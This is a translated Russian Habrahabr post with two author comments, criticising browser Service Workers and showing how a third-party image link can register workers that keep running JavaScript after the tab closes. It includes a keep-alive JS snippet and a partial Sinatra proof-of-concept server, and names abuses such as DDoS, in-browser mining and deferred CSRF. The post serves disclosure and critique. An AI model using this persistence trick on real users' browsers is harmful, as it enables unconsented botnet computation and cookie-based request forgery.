[Перевод] Использование Service Worker для создания ботнета

e53e6454c4124c1493e1511f9a4c897e.jpg

Если кратко: в этом посте мы рассмотрим один из множества способов запуска бесконечного выполнения кода Javascript в браузере с помощью Service Worker, а еще немного покритикуем саму технологию.

Пример вы найдете по этой ссылке. Закройте вкладку. Через несколько минут откройте DevTools/Application/ServiceWorker/Show All. Видите, код продолжает работать (хотя сейчас это может уже исправлено).

Catworker работает непрерывно и, подобно зомби, выполняет различные задания. То есть не нужно использовать вредоносную страницу, достаточно любого блога с адресом. Возможность добавлять сторонние изображения в комментариях позволит запустить наш код:


Веб-разработчики такого не ожидали:  как тег изображения может запустить выполнение кода JS? Каким образом JS может выполняться непрерывно? Разве так можно?

Service Worker — это слишком сложно


Чтобы повысить популярность «прогрессивных» веб-приложений, команда Chrome создала Service Worker, не спрашивая у вас разрешения. На практике это новое «продвинутое» решение используется только чтобы показывать всплывающее push-уведомление (Конечно, полезность Service Worker-ов на этом не ограничивается, с их помощью реализуются, например, offline-режим и backsync, — прим. переводчика). Если вы не верите мне на слово, откройте свои зарегистрированные Service Worker и изучите их содержимое.

Даже это будет сделать не так-то просто: сотни строк кода, зависимость от FCM и т. д. (FCM = Firebase Cloud Messaging, но его использование не является обязательным в данном случае, — прим. переводчика). Разместите sw.js на сервере, зарегистрируйте worker на стороне клиента, подождите получения Promise, затем выполните serviceWorkerRegistration.pushManager.getSubscription (), запросите конечную точку и registration_id и сохраните их на сервере.

Например, так:

navigator.pushManager.getSubscription("We will send you weather updates once an hour").then(function(endpoint){ #FCM endpoint })

По моему скромному мнению, Service Worker — это прекрасный ответ на несуществующий вопрос. Научиться использовать это решение гораздо сложнее, чем Appcache (AppCache, в свою очередь, считается устаревшей технологией со своими минусами, — прим. переводчика), к тому же оно менее надежно.

Как обеспечить долговременную работу


Service Worker отключается через 60 секунд после того, как получает последнее событие, например, onmessage, onfetch, onforeignfetch и т. д.

1. Отправка сообщений самому себе.

self.addEventListener('message', function (event) {
    var spawnNewMessageEvent = function (data) {
        return new Promise(function (success) {
            setTimeout(function () {
                var sw = self.registration.active;
                sw.postMessage(data);
                success("success");
            }, 30000)
        });
    };
    event.waitUntil(doSomething().then(spawnNewMessageEvent));
});

1. Два worker отправляют друг другу запросы ForeignFetch. Чтобы использовать ForeignFetch, вам понадобится получить токен Origin Trial — полностью автоматизированный процесс, который не требует проверки или подтверждения и позволяет злоумышленнику применять новые экспериментальные технологии на реальных пользователях без их согласия.

2. Catworker отправляет cat.gif запрос fetch, в результате регистрируется новый worker с другой областью работы (это называется регистрация по ссылке). Процесс повторяется каждые 55 секунд.

require 'sinatra'
ot = 'AglMWHYLtMNT8FVZp9u368r0HZPKh7Pjfm7WYEyHwKz4zwaSznv682Bckrz903mz54CVZQACD5ZlSrLpuh8CKQIAAABYeyJvcmlnaW4iOiAiaHR0cHM6Ly90cnVlZmFjdG9yLmlvOjQ0MyIsICJmZWF0dXJlIjogIkZvcmVpZ25GZXRjaCIsICJleHBpcnkiOiAxNDg0OTM2NzI3fQ=='

get "/cat.gif" do
  response.headers['Origin-Trial'] = ot;
  response.headers['Access-Control-Allow-Origin'] = '*';
  response.headers['Link'] = '; rel="serviceworker"; scope="/'+rand(999999999).to_s+'"'

  if params[:skip]
    'ok'
  else
    response.headers['Content-Type'] = "image/gif"
    File.open('./cat.gif').read
  end
end

get "/sw" do
  response.headers['Content-Type'] = "text/javascript"
  return sw=<

Как это могут использовать злоумышленники?


Прямо сейчас у злоумышленников есть три варианта атаки вашего браузера:
  • DDoS (легко предотвратить с помощью черного списка).
  • Вычисления с большой нагрузкой на память, например майнинг scrypt/litecoin. Можно получить лишь 2000 хеш-функций в секунду, но зато абсолютно бесплатно. К тому же можно использовать для вычислений миллионы машин. Обратите внимание на другие функции, которые предлагает Service Worker.
  • Самый опасный вариант — отложенная атака CSRF. Обнаружив на веб-сайте уязвимость CSRF, вы можете направить задачу всем своим «зомби» и использовать их файлы cookie, чтобы выполнять запросы от их имени.

Процессы Service Worker постоянны по своей природе. Они выполняются после того, как вы закроете вкладку, произвольно получают события синхронизации и запускаются, обновляются каждые 24 часа, а если вы разрешаете веб-сайту отправлять push-уведомления, они могут выполнять код JS при каждом показе всплывающего окна. Все это уже давно используется.
В будущем у злоумышленников будет еще больше способов обойти защиту, чтобы их код продолжал работать.

Сейчас этому классу ошибок уделяют недостаточно внимания. Тикеты публичны (1, 2, 3) и получают минимальный приоритет.

Помимо всего этого, подход Origin Trial не безупречен: кто угодно может получить токен, любой может воспользоваться экспериментальной функцией в своих целях. Нужна возможность включать и отключать Service Worker по желанию.

Я убежден, что нужно добавить флажок для отключения Service Worker. Лично мне эта технология пользы не приносит. (Вы читали документацию Cache? Это же как китайская грамота.) Новые функции поступают в эксплуатацию без должной проверки, так что нельзя быть уверенным в Same Origin Policy и других важных концепций безопасности… Вот еще несколько описаний несерьезных уязвимостей: FF, JSONP+XSS=takeover,  атака доменов изолированной программной среды (Sandbox).

Комментарии (2)

  • 26 декабря 2016 в 15:55

    0

    Извините что демку я уже снес, но бага до сих пор работает, используйте просто синатра апп если хотите проверить (автор статьи)
    • 26 декабря 2016 в 15:59

      0

      По поводу комментариев добавленных к переводу —

      > Конечно, полезность Service Worker-ов на этом не ограничивается, с их помощью реализуются, например, offline-режим и backsync, — прим. переводчика)

      офлайн отлично меня устраивал в эппкеше, not a douche bag. Background sync неплохо конечно, но каковы юз кейсы?

      > (FCM = Firebase Cloud Messaging, но его использование не является обязательным в данном случае, — прим. переводчика)

      я могу ошибаться, но для push notification FCM обязательный, или другой провайдер. Куда то же надо слать на общий сервер.

      Я согласен что у эпкеша есть минусы. Но он работает и он прост. СВ — не поддерживается Эплом вообще (читай — нет смысла реализовывать), сделан очень замудрено (функцию push notification можно вообще было в отдельное API вынести, без того чтобы плодить SW для одной единственной цели). Плюс личные причины — я давно хочу офлайн приложения чтобы были подписаны публичным ключом/ами создателей, СВ это игнорирует.

      Крайне недоволен, по итогу.

© Habrahabr.ru